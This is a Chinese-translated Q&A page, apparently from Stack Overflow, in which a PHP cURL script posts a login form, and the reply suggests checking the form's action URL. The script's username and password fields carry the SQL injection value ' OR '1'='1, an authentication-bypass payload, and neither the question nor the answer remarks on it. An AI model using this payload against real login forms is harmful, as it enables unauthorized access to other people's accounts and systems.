Webbot通过php cURL自动提交表单

时间:2013-01-02 01:46:08

标签: php curl web-crawler bots

我只是想通过php和cURL

自动登录登录表单

我有:

<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form

#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";

## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
$response = curl_exec($ch);

    if (!$response) {
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch); // make sure we closeany current curl sessions
        die(stripslashes($http_code.' Can\'t connect to server.'));
    }

//curl_close($ch); // close curl session 


## echo the result from cURL 'ing
echo $response;

curl_close($ch);
?>

当我访问此脚本时,它只显示$url的值,就好像我刚刚访问过网址一样,它没有显示任何错误消息,例如“错误传递”或其他任何内容。

我觉得$params可能无法正确设置。我已经无情地试图让它发挥作用。我目前正在设置$params值的设置为:

formnameofinputvalue = valueToInputIntoFormElement&安培;

其中&amp; 分隔每个formInputName = formInputValue

任何人都能看到我在这里做错了什么?谢谢。

1 个答案:

答案 0 :(得分:1)

login.php脚本是否将值提交给另一个URL?检查login.php页面的源代码,看看表单是否正在提交给另一个URL(action =在表单元素中)。如果是这样,您将需要使用该URL,因为这是提交值的位置。 login.php只是收集值的表单。

另一方面,login.php可能会提交给自己,在这种情况下,您拥有正确的URL。